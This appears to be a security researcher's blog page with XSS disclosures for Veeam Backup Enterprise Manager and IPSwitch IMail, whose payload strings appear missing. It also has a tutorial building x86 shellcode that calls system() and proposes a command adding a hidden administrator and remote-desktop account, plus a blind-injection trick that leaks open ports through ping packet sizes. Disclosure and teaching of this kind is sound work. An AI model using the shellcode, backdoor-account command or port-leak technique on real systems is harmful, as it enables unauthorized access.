PoC – GoSecure!

Full Disclosure – Veeam Backup Enterprise Manager Service v9

Peru — Fri, 25 Mar 2016 17:56:09 +0000

Vendor: Veeam
Product: Veeam Backup Enterprise Manager Service v9.0.0.902
Type of vulnerability: Multiple, persistent Cross Site Scripting
CVSS: 4.1 (AV:A/AC:L/Au:S/C:P/I:P/A:N)
CVE: requested
Exploit-DB
OSVDB:

Discovered by: GoSecure!
Date of discovery: 16 september 2016
First contact with vendor: 18 september 2016 – Case Id: 01702458
Patching date: 24 march 2016
Full Disclosure: 25 march 2016

Details:
A cross site scripting web vulnerability has been discovered in Veeam Backup Enterprise Manager Service v9.0.0.902.
Authenticated users are able to inject own malicious Java Script codes in order to spoof session of other users of the affected web-application.

The issues are located in:
1 – Configuration > Search Server > Add > “DNS name” field – reflected XSS
2 – Configuration > Backup Server > Add > “Server description” field – stored XSS
3 – Jobs > “Description” field – stored XSS injected via remote backup server

The security risk of the client-side web vulnerability is estimated as medium with a Overall CVSS (common vulnerability scoring system) Score 4.1 .The attackers can spoof session or emulate every action that the victim can do in the web application.

Proof of Concept (PoC):
The cross site scripting web vulnerability can be exploited by authenticated user that may want to make a privilege escalation or impersonate another user of the web-application. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

1 – Configuration > Search Server > Add > “DNS name” field – reflected XSS
Attacker injection and activation:
– Go to Configuration > Search Server
– click on Add button
– insert the following string in the “DNS name or IP …” field and click ok

– the script is activated

2 – Configuration > Backup Server > Add > “Server description” field – stored XSS
Attacker injection and activation:
– Go to Configuration > Backup Server
– click on Add button
– add a server and insert the follow string in the “Server description” field

– point the mouse over the description of the new server: the script is activated

Otherwise edit the description of an existing server

3 – Jobs > “Description” field – stored XSS injected via remote backup server
Attacker injection:
– Go in a “Veeam Backup an Replication Server” that is managed by the “Veeam Backup Enterprise Manager Server”
– In “Home” > “Managed server” click on a job (eg. File Copy)
– Create e new job and insert the following description:§

– Complete the creation of the job and click finish.

Victim activation:
– Go in the Enterprise Manager web interface
– In Jobs, point the mouse over the description of the new job: the script is activated.

Note that, although this third issue is not unauthenticated, the problem can be that an evil user can create Job in a remote Backup server and inject code in another server/app in order to get e session in the Enterprise Manager Server
The JS injected, using POSTDATA as payload, can do every thing the victim can do in the web interface of the Enterprise Manager Server

Remediation:
https://www.veeam.com/kb2114

Full Disclosure – IPSwitch IMail Server WEB client vulnerability

Peru — Tue, 03 Jun 2014 13:22:07 +0000

Vendor: IPSwitch
Product: IMail Server WEB client. Tested on 12.3 and 12.4 before 12.4.1.15
Type of vulnerability: Persistent Cross Site Scripting
CVSS: 3.4 – Vector
CVE: 2014-3878
Exploit-DB 33633
OSVDB: 107700 107701 107702

Discovered by: GoSecure!
Date of discovery: 30 march 2014
First contact with vendor: 31 march 2014 – Case Id: 2-199617
Patching date: 19 may 2014
Full Disclosure: 3 june 2014

Four injection points were useful to create a persistent Cross Site Scripting. All the injections are reached using default Web Client interface, but the Web Client Lite seems to be not vulnerable to these tests.

1. Contacts section:
A persistent XSS can be reached adding a new contact with a specific string in the Name field and whatever image:

PoC string:
GoSecure!

When the contact is saved and on mouse over the picture the Name is been displayed in a bubble activating the JS:

2. Contacts section:
A vulnerability can also be reached in the Adding Group task.

PoC string:

3. Calendar section:
A persistent XSS can be reached adding a new event in the Calendar; this event can be spread adding the Meeting Request option.
Since, using this injection point, the XSS can be spread to other users, this is the most dangerous of the four and can be used to spoofing sessions and therefore compromising the attacked users account

The JavaScript is executed simply viewing the calendar or when the Reminder pops up.

PoC string:
GS!

4.Task section:
In a similar way also the tasks are vulnerable to persistent XXS.

PoC string:

Create a custom shellcode using System() function

Peru — Mon, 20 Jan 2014 16:40:15 +0000

Recently I have to write a custom shellcode that accommodate some specific features. Basically I have to avoid the use of some functions like WinExec() and ShellExecute() to create a remote code execution and insert it as payload in a test exploit.
I have to search some other function that allow me to execute command on a remote PC and I found it in the System() call function. I’m not a skilled developer, so what described below is my working solution, maybe not the better solution.

I’m not talking here about the exploit, but only about the shellcode creation and choices motivations. This exemple can be easly fit to other situations and replicated without inserting it in an exploit, but simply tested in a developer or in a custom binary file.

I started from this sample code. It uses the Windows API function MessageBoxA to popup a message

[BITS 32]

mov ebx, 0x00584148 ; Loads a null-terminated string “HAX” to ebx
push ebx ; pushes ebx to the stack
mov esi, esp ; saves null-terminated string “HAX” in esi
xor eax, eax ; Zero our eax (eax=0)
push eax ; Push the fourth parameter (uType) to the stack (value 0)
push esi ; Push the third parameter (lpCaption) to the stack (value HAX\00)
push esi ; Push the second parameter (lpText) to the stack (value HAX\00)
push eax ; Push the first parameter (hWnd) to the stack (value 0)
mov eax, 0x7E45058A ; Move the MessageBoxA address in to eax
call eax ; Call the MessageBoxA function with all parameters supplied.

Looking up the MessageBoxA function in Google reveals four arguments:

int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);

So the sample code pushes in the stack all the arguments and then call the address of the function already loaded in memory.

Some things to underline:
– at the end of every argument a null byte is insered (\x00)
– the arguments are pushed in reverse order into the stack (LIFO)
– this is only a shellcode and it has to be appended to a program; this program must have the function MessageBoxA (user32.dll) loaded in memory.
– the address of the function (0x7E45058A) is hadrcoded and works only on the Operating System the shellcode is written for.
– the hardcoded address doesn’t work in random space address context (ASLR or EMET)

Starting from this sample I want to use the System() function to pass commands to the interpreter (typically CMD.EXE); I search in MSDN specifications and I found that it needs only one parameter: the command I want to pass.

system(
"echo A>%tmp%\xx.txt"
);

First I have to determinate, using the debugger, if the function is loaded in memory, so in Olly I search for “Names in all modules” and, luckly I found it in the msvcrt.dll (Figure 1) at address 0x77BF93C7 (Figure 2).

Figure 1

Figure 2

Ok, now I have to convert the string “echo A>%tmp%\xx.txt” in hex, cut it in groups of 4 bytes and invert the order of the groups; also I have to remember to insert the NULL byte at the end of the hex string. These groups will be insered in the stack using the push command and then will group it adding a pointer to the stack.

root@bt:~# echo -ne 'echo A>%tmp%\xx.txt\x00' | xxd -ps | fold -w8 | tac
74787400
5c78782e
746d7025
20413e25
6563686f

So the testing shell code will be like this:

[BITS 32]

PUSH 0x74787400 ; push into the stack, in reverse order, the command 'echo A>%tmp%\xx.txt' adding a NULL byte
PUSH 0x5c78782e
PUSH 0x746d7025
PUSH 0x20413e25
PUSH 0x6563686f
MOV EDI,ESP ; adding a pointer to the stack
PUSH EDI
MOV EAX,0x77BF93C7 ; calling the System() function using the hardcoded address (XP SP3)
CALL EAX

Ok, now I have the test shellcode; I can do it directly in Olly. I open the debugger, attach a program, edit the first few lines, put a brake point at the end of my code and run the program (Figure 3).
Remember that the msvcrt.dll must be one of the module loaded by the program attached to the debugger.

Figure 3

Once the shellcode is ended I verify its work: I go to %tmp% folder and search for the xx.txt file, if all is ok I can insert a better command like

net user test Pa$$word1234 /add & net localgroup administrators test /add & net localgroup "Remote desktop users" test /add

Note that the net user/net localgroup need the admin privilege to be executed, so in a real exploit the target program must be started using elevated rights. On the other hand the first command, the echo one, will work also with low privilege.

Listener discovery using ping PoC

Peru — Fri, 19 Jul 2013 13:40:07 +0000

This is a awesome way to use usual programs/commands in an unusual way. This PoC can be used to discover open ports on a remote PC when we have the possibility to send to it a blind command but we have no idea about TCP control in the remote environment. These simple scripts take advantage of the length of ICMP packets sended by the ping command. Some simple pipeling provide the normalization of sended and captured strings. In the following case two Linux machines are used.

On the local PC I start a logging process:

iptables -I INPUT -p ICMP -j LOG

On the PC to test, maybe using a blind command:

netstat -lntp | grep LISTEN | awk '{print $4}' | cut -d: -f2 | grep -ve "^$" |sort -u | while read line ; do echo $line; ping -c 1 -s $line ; done;

Again on local PC I collect and normalize the log:

tail /var/log/messages | grep LEN |awk '{print $13}'| cut -d= -f2 |sort -n -u| while read line; do PORT=$(($line-28)) && echo Open Port = $PORT; done;

I based this Proof of Concept on the article “Blind Command Line Injection” from PenTest Magazine by Mr. Chris Duffy: thank you.